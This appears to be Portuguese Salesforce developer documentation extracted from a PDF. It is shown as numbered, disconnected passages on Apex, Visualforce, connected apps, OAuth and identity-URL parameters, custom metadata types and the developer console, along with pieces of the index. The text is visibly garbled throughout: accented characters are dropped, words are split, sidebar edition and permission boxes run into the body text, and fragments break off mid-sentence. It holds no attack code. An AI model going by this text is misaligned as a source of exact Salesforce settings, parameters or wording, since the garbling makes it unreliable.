O exemplo a seguir mostra como criar link para um s control de nome HelloWorld em uma p gina do Vi
83. em success salesforce com para obter uma c pia do aplicativo de amostra e discutir essa funcionalidade Limita es dos tipos de metadados personalizados Ao usar tipos de metadados personalizados esteja ciente destes comportamentos e limita es EDI ES especiais Nenhum upsert Dispon vel em Salesforce Afun o upsert n o est dispon vel para metadados personalizados Classic Atualizando tipos e registros Dispon vel em Edi es N o poss vel atualizar tipos e registros protegidos em um pacote gerenciado instalado Enterprise Performance programaticamente Voc pode modificar tipos e registros protegidos somente executando Unlimited Developer e uma atualiza o do pacote Database com N o poss vel atualizar tipos e registros p blicos usando o Apex diretamente Para modificar registros a partir do Apex voc deve fazer chamadas API de metadados Relacionamentos de metadados N o h suporte para relacionamentos de metadados No entanto poss vel simul los usando campos de texto contendo o nome da API do objeto de destino Ferramentas de gerenciamento de ciclo de vida de aplicativo Tipos de metadados personalizados n o s o compat veis com estas ferramentas de gerenciamento de ciclo de vida de aplicativo e Controle de vers o e API do conjunto de ferramentas e Console do desenvolvedor Licen as Licen as definidas para um pacote de extens o n o s o aplicadas a registros de metadados pers
84. executar instru es de controle de transa o e fluxo no servidor da plataforma Force com em conjunto com chamadas para a API do Force com Usando uma sintaxe parecida com Java e que age como procedimentos armazenados de banco de dados o Apex permite que os desenvolvedores adicionem l gica comercial maioria dos eventos de sistema incluindo cliques de bot o atualiza es de registros relacionados e p ginas do Visualforce O c digo Apex pode ser iniciado por solicita es de servi o da Web e atrav s de acionadores nos objetos O Apex pode ser armazenado na plataforma de duas formas diferentes e Umaclasse um modelo ou projeto com base no qual objetos do Apex s o criados As classes consistem em outras classes m todos definidos pelo usu rio vari veis tipos de exce o e c digo de inicial iza o est tico Em Configura o insira Classes do Apex na caixa Guia do usu rio Componentes do Lightning Apex Visualforce 49 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Enterprise Performance Unlimited Developer e Database com Editions Busca r pida eselecione Classes do Apex Consulte Gerenciar classes do Apex na p gina 56 e Um acionador um c digo do Apex executado antes ou depois que eventos espec ficos de linguagem de manipula o de dados DML ocorrem por exemplo antes que registros de objetos sejam inseridos no banco de dados ou d
85. fazer login em toda solicita o afeta as configura es de relaxamento de IP do aplicativo conectado ativado por OAuth Dispon vel em Salesforce Se voc relaxou as restri es de IP para seu aplicativo conectado ativado por OAuth e sua organiza o Classic e Lightning temaop o Impor intervalos IP para fazer login em toda solicita o Experience ativada o acesso ao seu aplicativo conectado pode mudar Essa mudan a de acesso se aplica ao Aplicativos conectados acesso de cliente incluindo dispositivos m veis para todos os aplicativos conectados ativados por podem ser criados em OAuth O relaxamento de IP n o se aplica aos aplicativos conectados ativador por SAML Edi es Group Professional Enterprise Performance Unlimited e Developer Tabela 3 Configura es de relaxamento de IP do aplicativo conectado e imposi o de IP cont nuo Relaxa o Quando a imposi o de IP Quando a imposi o de IP continuo Aplicativos conectados de IP cont nuo est desativada est ativada podem ser instalados em padr o todas as edi es Impor Um usu rio que executa esse Um usu rio que executa esse aplicativo est restri es aplicativo est sujeito a restri es de sujeito a restri es de IP da organiza o de IP IP da organiza o como faixas de IP como faixas de IP definidas no perfil do definidas no perfil do usu rio usu rio Relaxar Um usu rio que execute esse Um usu rio que execute esse aplicativo restri
86. fornecendo um ID de registro v lido ou insira um ID de registro v lido manualmente Reduza o tamanho da carga Forne a a chave de servidor correta para o aplicativo Selecione um destinat rio ou forne a o ID de registro Atualize o ID de registro do dispositivo do destinat rio Entre em contato com a salesforce com Entre em contato com a salesforce com Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 188 Provisionamento de usu rios para aplicativos conectados PERMISS ES DO USU RIO EDI ES Para ler Personalizar aplicativo Dispon vel em Salesforce 5 er lui i na Classic e Lightning ara criar atualizar ou excluir ersonalizar aplicativo E P Experience Modificar todos os dados OU Gerenciar aplicativos conectados Aplicativos conectados podem ser criados em Edi es Group Para atualizar todos os campos com Personalizar aplicativo exce o de Perfis Conjuntos de permiss es Professional Enterprise e Atributos de SAML do provedor de Performance Unlimited e servi os Developer are Aplicativos conectados Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos rae podem ser instalados em permiss es e Atributos de SAML do provedor os dados ee f todas as edi es de servi os Para desinstalar Fazer download de pacotes do AppExchange Como administrador us
87. gerenciados Excluindo um Aplicativo conectado Para excluir um aplicativo conectado clique no Nome de aplicativo conectado na lista de aplicativos Clique em Excluir na p gina de edi o e confirme clicando novamente em Excluir Embora o aplicativo seja removido da sua lista n o poss vel reutilizar o nome dele Se um aplicativo conectado inclu do em um pacote for exclu do ele permanecer dispon vel at o pacote ser atualizado Nota Se o provisionamento de usu rios for configurado para um aplicativo conectado n o ser poss vel excluir o aplicativo conectado ou desinstalar um pacote que o cont m at um administrador remover os detalhes de configura o de provisionamento de usu rios Esteja ciente de que desmarcar a caixa de sele o Ativar provisionamento do usu rio na p gina de detalhes do aplicativo conectado n o remove os detalhes de configura o da organiza o Para remover os detalhes da configura o consulte as instru es para administradores do Salesforce sobre esse problema CONSULTE TAMB M Criando um Aplicativo conectado Vis o geral de aplicativos conectados Provisionamento de usu rios para aplicativos conectados Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 175 Relaxamento de IP de aplicativo conectado e imposi o de IP continuo Este t pico descreve como a op o de Configura es de sess o Impor intervalos IP EDI ES para
88. gt lt photos gt lt profile gt http nal salesforce com 005x000 lt profile gt lt picture gt http nal salesforce com profilephoto 005 F lt picture gt lt address gt lt country gt us lt country gt lt address gt lt urls gt lt enterprise gt http nal salesforce com services Soap c version 00Dx0000002rTh1 lt enterprise gt lt metadata gt http nal salesforce com services Soap m version 00Dx0000002rTh1 lt metadata gt lt partner gt http nal salesforce com services Soap u version 00Dx0000002rTh1 lt partner gt lt rest gt http nal salesforce com services data v version lt rest gt lt sobjects gt http nal salesforce com services data v version sobjects lt sobjects gt lt search gt http nal salesforce com services data v version search lt search gt lt query gt http nal salesforce com services data v version query lt query gt lt recent gt http nal salesforce com services data v version recent lt recent gt lt profile gt http nal salesforce com 005x000 lt profile gt lt feeds gt http nal salesforce com services data v version chatter feeds lt feeds gt lt groups gt http nal salesforce com services data v version chatter groups lt groups gt lt users gt http nal salesforce com services data v version chatter users lt users gt lt feed_items gt http nal salesforce com services data v version chatter feed items lt feed_items gt lt urls gt
89. guias heap dump 253 255 256 Guia Heap 256 Guia S mbolos 256 interface do usu rio 7 layout 3 mem ria 256 menus 8 10 Modo de exibi o do inspetor de heap dump 256 navega o 3 8 10 no es b sicas 5 265 objeto 19 organiza o 3 perspectivas 26 268 ponto de verifica o 253 255 256 registros 258 registros de depura o 258 registros do desenvolvedor 258 se es 3 s mbolos 256 sobre 5 265 tabela 19 Console do desenvolvedor continua o testando o Apex 298 vari veis 256 verificando a cobertura de c digo 296 Visualiza o do Inspetor de registros 267 268 controle de acesso no Aplicativo conectado 175 176 178 CORS 138 criando um Aplicativo conectado 163 165 D Depend ncias campo 134 Depura o JavaScript 87 Depurando filtrando 274 fluxo de trabalho 262 informa es sobre perfil 262 n veis de registro de classe e de acionador 289 n vel do log 274 ordem de preced ncia dos logs de depura o 273 percorrendo um processo 261 Depurando o Apex 5 265 Depurando o c digo 253 Desenvolvimento seguran a 98 desinstalando um Aplicativo conectado 195 E Editando o Apex 5 editando um Aplicativo conectado 172 175 176 178 Editor de consulta 11 13 Email processando com o Apex 104 servi os de email 104 empacotando um aplicativo conectado 172 Escopo operacional Campo 134 Escrevendo c digo 2 Estado de exibi o 270 Estrutura de Componente do Lightning vis o geral 86 Exce es n o
90. inclui o acesso concedido por regras compartilhadas Al m disso todos os tipos de compartilhamento ser o removidos se o acesso concedido for redundante Por exemplo o compartilhamento manual que concede acesso Somente leitura a um usu rio exclu do quando o modelo de compartilhamento do objeto alterado de Particular para Somente leitura p blica EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Professional Enterprise Performance Unlimited Developer e Database com PERMISS ES DO USU RIO Para associar uma classe de rec lculo de compartilhamento gerenciado do Apex e Apex do autor Para executar um rec lculo de compartilhamento gerenciado do Apex e Apex do autor OU Gerenciar compartilhamento Para obter mais informa es sobre como criar o compartilhamento gerenciado do Apex e classes de rec lculo consulte o Force com Apex Code Developer s Guide Guia do desenvolvedor do Force com Apex Code Para associar uma classe de rec lculo de compartilhamento gerenciado do Apex a um objeto personalizado 1 Nas configura es de gerenciamento do objeto personalizado v para Rec lculos de compartilhamento do Apex 2 Escolha a classe do Apex que recalcula o compartilhamento do Apex para este objeto A classe escolhida deve implementar a interface Database Batchable Voc n o pode associar a mesma classe do Apex v rias vezes ao mesmo objeto personalizado
91. intl myProcedurel 7 OpenLog Execute Execute Highlighted Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 53 Insira o c digo que deseja executar na janela Inserir c digo do Apex ou clique em para abrir o editor de c digo em uma nova janela do navegador Para abrir automaticamente o registro de depura o resultante quando a execu o for conclu da selecione Open Log Abrir registro Nota A palavra chave static n o pode ser usada em c digo an nimo 3 Execute o c digo a Clique em Executar ou CTRL E para executar todo o c digo na janela b Para executar somente as linhas selecionadas do c digo selecione as linhas e clique em Executar destacado ou CTRL SHIFT E 4 Se Abrir registro tiver sido selecionado o registro ir abrir automaticamente no Inspetor de registro Depois de o c digo executar o registro de depura o ser listado na guia Logs Registros Clique duas vezes no registro para abri lo no Inspetor de registro 5 Para executar o mesmo c digo novamente sem fazer altera es clique em Debug Depurar gt Execute Last Executar ltimo Se deseja modificar o c digo clique em Debug Depurar gt Open Execute Anonymous Window Abrir janela executar an nimo para abrir a janela Inserir Apex code com a entrada anterior CONSULTE TAMB M Menu Depurar Inspetor de registro Usando registros de depura o Guia Registro
92. lido ou incorreto Usu rio desativado ou organiza o inativa Falta ao usu rio o acesso correto organiza o ou Solicita o para um ponto final inv lido de um site EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados de acesso pode ser usado em um cabe alho de solicita o de autoriza o ou em uma solicita o com o par metro oauth token Par metro Descri o Chave de acesso Consulte Usando a chave de acesso na p gina 228 Formato e json e xml Esse par metro opcional Especifique o formato da sa da retornada Os valores v lidos s o Em vez de usar o par metro formato o cliente tamb m pode verificar o formato retornado em um cabe alho de aceita o da solicita o usando um dos seguintes Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 236 Par metro Descri o e Aceitar application json e Aceitar application xml e Aceitar application x www form urlencoded Observe o seguinte e Cabecalhos de aceita o de curinga s o permitidos aceito e retorna JSON e Umalista de valores tamb m aceita e verificada da esquerda para a direita Por exemplo application xml application json application html retorna XML e Opar metro format tem preced ncia
93. link de a o criando 148 Modo de desenvolvimento ativando 70 monitoramento de uso de um Aplicativo conectado 181 Monitorando detalhes dos trabalhos de carregamento de dados em massa 137 trabalhos de carregamento de dados em massa 155 N notifica es de upgrade autom tico mensagens de erro 186 testando 184 185 O OAuth autenticando 197 c digos de erro 202 fluxo de asser es de SAML 224 fluxo de autentica o 198 211 213 219 221 fluxo de autentica o de agentes do usu rio 221 fluxo de autentica o de senhas de nomes de usu rio 219 Fluxo de autentica o do servidor Web 213 fluxo de autentica o vers o 1 0 A 198 fluxo de chaves de atualiza o 211 fluxo do token portador JWT 206 fluxo portador SAML 203 pontos finais 198 revogando tokens 227 erminologia 196 OAuth continua o usando a chave de acesso 228 usando um token de id 229 usando URLs de identidade 230 235 238 objeto InboundEmail 113 Objeto InboundEmail BinaryAttachment 115 Objeto InboundEmail Header 115 Objeto InboundEmail TextAttachment 115 objeto InboundEmailResult 116 Objeto InboundEnvelope 116 OpenID Connect 230 235 238 Pacotes Erros do Apex 55 Pacotes gerenciados substituindo r tulos personalizados 119 P ginas do Visualforce campos de mesclagem 72 Perfis Visualforce 97 Perguntas frequentes Apex 66 chamada 66 Classes e acionadores 66 servi o externo da Web 66 Permiss es personaliza
94. m disso para incluir o Apex em uma p gina os usu rios devem ter a permiss o Apex do autor ou acesso classe do Apex Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 96 Nota Organiza es com sites do Force com ou Portais do cliente podem ativar paginas do Visualforce atribuindo as para perfis do usu rio ou ativando as para o site inteiro CONSULTE TAMB M Dicas de seguran a para Apex e Visualforce Development http www salesforce com us developer docs pages index htm Configurando a seguran a de p gina do Visualforce de uma defini o de p gina Configurando a seguran a de p gina do Visualforce de conjuntos de permiss es Definir a seguran a de p gina do Visualforce em perfis Configurando a seguran a de p gina do Visualforce de uma defini o de p gina 1 Em Configura o insira P ginas do Visualforce nacaixa Busca r pida e EDICOES selecione Paginas do Visualforce Ao lado do nome da pagina que deseja restringir clique em Seguranga Disponivel em Salesforce Classic e Lightning Selecione os perfis que deseja ativar na lista Perfis dispon veis e clique em Adicionar i Experience Selecione os perfis que deseja desativar na lista Perfis ativados e clique em Remover Dispon vel em Edi es Clique em Salvar Contact Manager Group Professional Enterprise Performance Unlimited e Developer oe E a PERMISS ES DO USU RIO Para defi
95. metro format tem preced ncia sobre o cabe alho da solicita o de aceita o Vers o Esse par metro opcional Especifique um n mero de vers o da API SOAP ou a string literal ltimo Se esse valor n o for especificado os URLs da API conter o o valor literal vers o no lugar do n mero da vers o para que o cliente fa a a substitui o da string Se o valor for especificado como ltimo a vers o da API mais recente ser usada PrettyPrint Esse par metro opcional e s aceito em um cabe alho n o como um par metro de URL Especifique a sa da para ser formatada melhor Por exemplo use o seguinte em um cabe alho X PrettyPrint 1 Se esse valor n o for especificado o XML ou JSON retornado ser otimizado para tamanho e n o para legibilidade Callback Esse par metro opcional Especifique um valor de fun o JavaScript v lido Esse par metro s usado quando o formato especificado como JSON A sa da agrupada nesse nome de fun o JSONP Por exemplo se uma solicita o para https server id orgid userid retornar foo bar umasolicitacdo para https server id orgid userid callback baz retornar baz foo bar Resposta do URL de identidade Uma solicita o v lida retorna as seguintes informa es no formato JSON id O URL de identidade o mesmo URL que foi consultado usu rio avaliado lUm valor booleano que indica se a chave de acesso especificada usada foi emi
96. modifica es CONSULTE TAMB M Vis o geral da interface de usu rio do console do desenvolvedor Verificando a cobertura de c digo Configurando pontos de verifica o no c digo do Apex Menu Arquivo Inspetor de objeto O Inspetor de objeto fornece uma refer ncia somente leitura dos campos do objeto padr o ou personalizado e seus tipos de dados Para abrir o Inspetor de objeto clique em File Arquivo gt Open Abrir e selecione o objeto que deseja visualizar Para pesquisar objetos que atendem a crit rios espec ficos use o Editor de consulta Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 20 Pecountreed Name Apex Type Id Id Ss Parentid Id Type String CreatedById Id CreatedDate Datetime IsDeleted Boolean LastModifiedDate Datetime SystemModstamp Datetime E CommentCount Integer LikeCount Integer Title String Body String LinkUrl String RelatedRecordid Id ContentData Blob ContentFileName String ContentDescription String ContentTune Strina d Query Nota Voc n o pode modificar os objetos personalizados no Console do Desenvolvedor Crie edite ou exclua objetos personalizados em Configura o CONSULTE TAMB M Usando o Console do desenvolvedor No es b sicas sobre vari veis globais Componentes como bot es e links personalizados f rmulas em campos personalizados regras de EDICOES valida o fluxos e
97. n o expira n o insira um valor no campo Horas at a expira o do modelo e n o insira um valor na propriedade expirationDate ao instanciar o grupo Eiscomo expirationDate e Horas at a expira o funcionam em conjunto ao criar um grupo de links de a o a partir de um modelo e Sevoc especifica expirationDate seu valor usado no novo grupo de links de a o e Sevoc n o especifica expirationDate eespecifica Horas at a expira o no modelo o valor de Horas at a expira o usado no novo grupo de links de a o e Sevoc n o espec fica expirationDate ou Horas at a expira o os grupos de link de a o instanciados a partir do modelo n o expiram Defini o de vari veis vinculantes Defina vari veis vinculantes em modelos e defina seus valores ao instanciar o grupo de links de a o O Importante N o armazene informa es confidenciais em modelos Use vari veis vinculantes para adicionar informa es confidenciais em tempo de execu o Quando o valor de um v nculo definido ele armazenado criptografado no Salesforce poss vel definir vari veis vinculantes nos campos URL de a o Corpo da solicita o HTTP eCabecalhos HTTP de um modelo de link de a o Ap s a publica o de um modelo poss vel editar esses campos mover vari veis vinculantes entre os campos ou excluir vari veis vinculantes No entanto n o poss vel adicionar outras vari veis vinculantes Defina a cha
98. n o pode editar ou salvar um trabalho fechado e Anulado O trabalho foi anulado e Falha Otrabalho falhou Os lotes que foram processados de forma bem sucedida no trabalho n o podem ser restabelecidos O nome do usu rio que enviou o trabalho O per odo total para concluir o trabalho O n mero de milissegundos levados para processar o trabalho Essa a soma do total de tempos de processamento para todos os lotes do trabalho A p gina de detalhes do trabalho inclui uma lista relacionada de todos os lotes do trabalho A lista relacionada apresenta os links Exibir solicita o e Exibir resposta para cada lote Se o lote for um arquivo CSV os links apresentar o a solicita o ou resposta em formato CSV Se o lote for um arquivo XML os links apresentar o a solicita o ou resposta em formato XML Esses links estar o dispon veis para os lotes criados na API vers o 19 0 e posterior A lista relacionada do lote cont m os campos a seguir mostrados em ordem alfab tica Campo Tempo de processamento do Apex ms Tempo de processamento ativo da API ms ID do lote Hora de fim Registros falhos Registros processados Descri o O n mero de milissegundos que leva para processar acionadores e outros processos relacionados aos dados do lote Se n o houver acionadores o valor ser 0 Isso n o inclui o tempo usado para processar opera es Apex ass ncronas e em lote O n mero de milissegundos que
99. na exibi o de detalhes que mostra a classe testada o m todo testado a dura o o resultado ignorar aprovar ou reprovar e uma mensagem de erro opcional Se um teste falhar a coluna Rastreamento de pilha mostra o m todo e o n mero da linha em que o teste falhou Nota N o poss vel acessar registros de execu es de teste s ncronas na guia Testes No entanto voc pode acessar todos os registros de execu es de teste na guia Registros Aprimorar o Salesforce com c digo Guia do usu rio Implantar 299 6 Selecione um m todo de teste para ver sua cobertura de cada classe no painel Cobertura do c digo de classe 7 Para limpar os resultados atuais clique em Test Teste gt Clear Test Data Limpar dados de teste CONSULTE TAMB M Executar testes no Console do desenvolvedor Verificando a cobertura de c digo Implantar Esta se o cont m informa es sobre como implementar na sua organiza o as altera es codificadas Devem ocorrer altera es de c digo em um sandbox de modo que voc pode testar suas altera es antes de implant las Os sandboxes cont m c pias de seus dados c digos e defini es de configura o isoladas do ambiente de produ o poss vel personalizar sua organiza o e testar os aplicativos em um sandbox e depois implantar as mudan as na sua organiza o de produ o quando estiverem prontas Em alguns casos v rios desenvolvedores podem estar trabalhando em di
100. ncia em rela o aos subdom nios de Force com Caso nenhum outro dom nio HTTPS exista no site atual um subdom nio de Force com usado caso esteja associado ao site Caso n o existam URLs personalizados de HTTPS no site esse m todo retorna uma string vazia O valor retornado inclui o prefixo de caminho e nunca termina em um caractere Se a solicita o atual n o uma solicita o de site esse m todo retorna uma string vazia Retorna o URL de base do site atual que as refer ncias e links devem usar Observe que esse campo pode retornar o URL da p gina de refer ncia em vez do URL da solicita o atual O valor desse campo inclui o prefixo de caminho e nunca termina em um caractere Se a solicita o atual n o uma solicita o de site esse campo retorna uma string vazia Este campo substitui SSite CurrentSiteUrl Retorna o valor do campo R tulo do site atual Se a solicita o atual n o uma solicita o de site esse campo retorna uma string vazia Retorna o ID do site atual Se a solicita o atual n o uma solicita o de site esse campo retorna uma string vazia Retorna o valor de API do campo Tipo de site referente ao site atual Se a solicita o atual n o uma solicita o de site esse campo retorna uma string vazia Retorna o valor do r tulo do campo Tipo de site do site atual Se a solicita o atual n o uma solicita o de site esse campo retorna uma string vazia Aprimorar
101. nenhuma p gina que n o substitua o link Excluir padr o de um objeto 9 Nacaixade texto Marca o do Visualforce insira a marca o do Visualforce para a pagina Uma nica p gina pode conter at 1 MB de texto ou aproximadamente 1 000 000 de caracteres 10 Clique em Configura es da vers o para especificar a vers o do Visualforce e a API usada com essa p gina Tamb m poss vel especificar vers es para quaisquer pacotes gerenciados instalados na sua organiza o 11 Clique em Salvar para salvar suas altera es e retornar tela de detalhes do Visualforce ou clique em Grava o r pida para salvar suas altera es e continuar editando a p gina A marca o do Visualforce deve ser v lida para que voc possa salvar a p gina Nota Apesar de ser poss vel editar a marca o do Visualforce nesta fase da Configura o ser necess rio navegar at o URL da p gina para ver o resultado das edi es Por isso muitos desenvolvedores preferem trabalhar com o modo de desenvolvimento ativado para exibir e editar p ginas em uma nica janela Depois que sua p gina tiver sido criada voc poder acess la clicando em Visualizar Tamb m poss vel exibi la manualmente digitando a URL da seguinte forma http minhainst nciadoSalesforce apex nomedanovap gina ondeo valor de minhainsta nciadoSales force onome de host de sua inst ncia do Salesforce por exemplo na3 salesforce com eovalorde nomedanovap gina o
102. no Heroku Modelo ome do aplicativo de tela O comprimento m ximo de 30 caracteres Nome do aplicativo de tela ome do aplicativo do Heroku O nome deve come ar com uma letra e somente pode conter etras min sculas n meros e tra os Esse nome se torna parte do URL para o aplicativo O comprimento m ximo de 30 caracteres Nome do aplicativo do Heroku Descri o do aplicativo de tela Descri o do aplicativo de tela Essa descri o aparece quando voc edita o aplicativo de tela no Salesforce O comprimento m ximo de 200 caracteres Guia do usu rio Integra o de aplicativos com o Salesforce 132 S Controls Dentro de um iFrame EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Enterprise Performance Unlimited Professional Edition com API e Force com Canvas ativados e Developer PERMISS ES DO USU RIO Para ver o visualizador e Personalizar aplicativo E Modificar todos os dados Aprimorar o Salesforce com c digo Campo Tipo de autentica o Nome de usu rio do Heroku Senha do Heroku Chave da API do Heroku Guia do usu rio Integra o de aplicativos com o Salesforce 133 Descri o Como o in cio r pido autentica com o Heroku para criar o aplicativo de tela e OAuth usa o token do Heroku se o usu rio atual estiver logado no Heroku Do contr rio inicia o fluxo de OAuth do Heroku
103. notifica o tiver sido enviada h pelo menos quatro horas Portanto durante um per odo de 24 horas ser o enviadas no m ximo seis notifica es e Criado por O usu rio que criou a solicita o de notifica o e a hora em que foi criado e Modificado por O usu rio que editou pela ltima vez a notifica o Nessa p gina voc tamb m pode criar uma nova notifica o com base nos valores da notifica o que est o sendo exibidos Clique em Clonar para criar uma nova notifica o com os valores atuais preenchidos na nova notifica o Voc pode editar os valores antes de salvar CONSULTE TAMB M Criando e editando notifica es de uso da API Notifica es de uso da API Criando e editando notifica es de uso da API Na p gina de edi o da medi o do uso da API voc pode fornecer os valores necess rios para uma notifica o de limite de taxa Em Configura o insira Notifica es de uso da API nacaixa Busca r pida e em seguida selecione Notifica es de uso da API e O usu rio do Salesforce que receber as notifica es e Aporcentagem limite a porcentagem do limite de taxa que uma vez excedida no intervalo de notifica o estabelecido aciona uma notifica o a ser enviada para o usu rio especificado O valor deve estar entre 0 e 100 e O per odo no qual o n mero de solicita es ser medido em horas Por exemplo se o intervalo for 24 a taxa dever ser excedida em 24 horas para q
104. o Neste exemplo Aprovar e Rejeitar s o links de a o que fazem chamadas API REST de um site EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Todas as edi es exceto Personal Edition de viagens fict cio para aprovar ou rejeitar um itiner rio Quando Pam criou o itiner rio no site de viagens esse site fez uma solicita o Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 139 a API REST do Chatter para publicar o item do feed com os links de a o para Kevin gerente de Pam para que ele aprove ou rejeite o itiner rio What Follow v Pam Jones to Kevin Bailey Just Now Please approve this trip Dreamforce Trip www example com Approve Reject O Importante Os links de a o s o recursos para desenvolvedores Embora seja poss vel criar modelos para links de a o em Configura o preciso usar o Apex ou o Chatter REST API para gerar itens de a o a partir de modelos e adicion los aos elementos do feed NESTA SE O Designa o de modelos de link de a o Antes de criar um modelo considere os valores que deseja definir no modelo e os valores que deseja definir com vari veis vinculantes ao instanciar os grupos de links de a o a partir do modelo Cria o de modelos de link de a o Crie modelos de link de a o em Configura o para poder instanciar grupos de links de a o com propriedades em
105. o Como os registros s o metadados voc pode migr los usando pacotes ou ferramentas de API de metadados Os registros de metadados personalizados s o somente leitura no Apex e nas APIs Enterprise e Partner Com tipos de metadados personalizados poss vel emitir consultas ilimitadas de Linguagem de consulta de Salesforce Object SOQL para cada transa o Apex Tipos de metadados personalizados s o compat veis com os seguintes tipos de campo personalizado e Caixa de sele o e Data e Dataehora e Email e N mero e Porcentagem e Telefone e Texto e rea detexto e URL Um assinante de um pacote gerenciado que cont m tipo de metadados personalizados n o pode adicionar seus pr prios campos a esse tipo Somente a organiza o que desenvolve o tipo pode adicionar campos personalizados a ele Os campos de metadados personalizados s o gerenci veis o que significa que o desenvolvedor de um tipo pode decidir quem pode alterar valores de campo ap s serem implantados na organiza o de um assinante e Bloqueado ap s lan amento Para qualquer registro do tipo o valor do campo imut vel ap s a implanta o mesmo na organiza o do desenvolvedor onde o registro foi criado e Edit vel pelo assinante Qualquer um com as permiss es corretas pode alterar o valor do campo se assim desejar Quaisquer altera es que o desenvolvedor implantar n o substituem valores na organiza o do assinante e Atua
106. o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 37 Exemplos do O exemplo a seguir mostra como usar o campo de mesclagem SSite Template Visualforce lt apex page title Job Application Confirmation showHeader false standardStylesheets true gt lt The site template provides layout amp style for the site gt lt apex composition template SSite Template gt lt apex define name body gt lt apex form gt lt apex commandLink value lt Back to Job Search onclick window top location Page PublicJobs return false gt lt br gt lt br gt lt center gt lt apex outputText value Your application has been saved Thank you for your interest gt lt center gt lt br gt lt br gt lt apex form gt lt apex define gt lt apex composition gt lt apex page gt Dicas Essa vari vel global est dispon vel nas paginas do Visualforce modelos de email e s controls System OriginDateTime Descri o Um campo de mesclagem global que representa o valor literal de 1900 01 01 00 00 00 Use essa vari vel global ao realizar c lculos de deslocamento de data hora ou atribuir um valor literal a um campo de data hora Use 1 Selecione o tipo de dados SSystem 2 Selecione OriginDateTime da op o Inserir campo de mesclagem Exemplo de f rmula O exemplo abaixo ilustra como converter um campo de data em um campo de data hor
107. o callback Esse par metro opcional e scope O par metro scope permite ajustar o que o aplicativo cliente pode acessar em uma organiza o do Salesforce Consulte Valores do par metro do escopo na p gina 226 para obter par metros v lidos Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 222 exibi o Altera o tipo de exibi o da p gina de login Esse par metro opcional Os nicos valores suportados pelo Salesforce s o p gina Tela de autoriza o de p gina inteira Esse ser o valor padr o se nenhum for especificado pop up Caixa de di logo compacta otimizada para modernas janelas pop up do navegador da web toque di logo otimizado para dispositivos m veis projetado para smartphones modernos como Android e iPhone login hint Forne a um valor v lido de nome de usu rio com este par metro para preencher automaticamente a p gina de login com o nome de usu rio Por exemplo login _hint username company com Se o usu rio j tem uma sess o ativa no navegador o par metro login hint n o faz nada a sess o ativa do usu rio continua nonce Obrigat rio com o escopo openid para obter um token de ID de usu rio O valor retornado na resposta e til para detectar ataques de repeti o prompt Especifica como o servidor de autoriza o solicita reautentica o e reaprova o do usu rio Esse par metro opcion
108. o de autentica o O ponto final de configura o de autentica o retorna as informa es somente em formato JSON Veja a seguir uma amostra de resposta Nota O valor UseNativeBrowserForAuthentication sempre false no caso de comunidades Os valores a seguir est o dispon veis somente para comunidades e s o false ou nulos para dom nios personalizados criados com Meu dom nio e SelfRegistrationEnabled e SelfRegistrationUrl e DefaultProfileForRegistration e FooterText e UsernamePasswordEnabled OrgId OODDOO HHHHHHHE Url https acme force com partners LoginPage LoginPageUrl https acme force com partners CommunitiesLogin LogoUrl https acme force com partners img logol90 png BackgroundColor B1BACL SelfRegistrationEnabled true Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 240 FooterText acme com UsernamePasswordEnabled false SamlProviders name ADFS SsoUrl https adfs my salesforce com so O00DBOO HHHTHTE Fz name SF Identity SsoUrl https sfid my salesforce com so O00DBOO0 HHHTHTE Fls AuthProviders name LinkedIn IconUrl https www linkedin com logos img logo png SsoUrl https login salesforce com services auth sso 00DB00000 t4HHHHHHH LinkedIn name Facebook IconUrl https www faceboo
109. o do aplicativo conectado Se voc n o definir um valor ou Nenhum o padr o for selecionado o Salesforce utilizar o Valor de tempo limite do perfil do usu rio Se o perfil n o tiver nenhum valor definido o Salesforce usar o Valor de tempo limite das Configura es de sess o da organiza o As permiss es atuais do aplicativo conectado tamb m s o listadas aqui Se seu aplicativo conectado for um aplicativo de tela que usa autentica o de solicita o assinada certifique se de Definir Usu rios autorizados para Usu rios aprovados pelo administrador est o pr autorizados Defina Expirar os tokens de atualiza o como Na primeira vez em que usarem ess aplicativo Forne a acesso por meio de conjuntos de permiss o e perfis aos usu rios e Pol tica de n vel de sess o est dispon vel para todos os aplicativos conectados Selecione Sess o de alta garantia exigida para obrigar os usu rios a inserir uma chave de seguran a com base no tempo durante o login para acessar o aplicativo e Informa es b sicas est o dispon veis para todos os aplicativos conectados Por m se o seu aplicativo for um aplicativo de tela esses valores de campo n o ser o usados Em vez disso o URL do aplicativo de tela especificado quando o aplicativo conectado foi criado usado URL inicial usado se o aplicativo conectado usa login nico Nesse caso defina o URL da p gina onde o usu rio inicia o processo de autenti
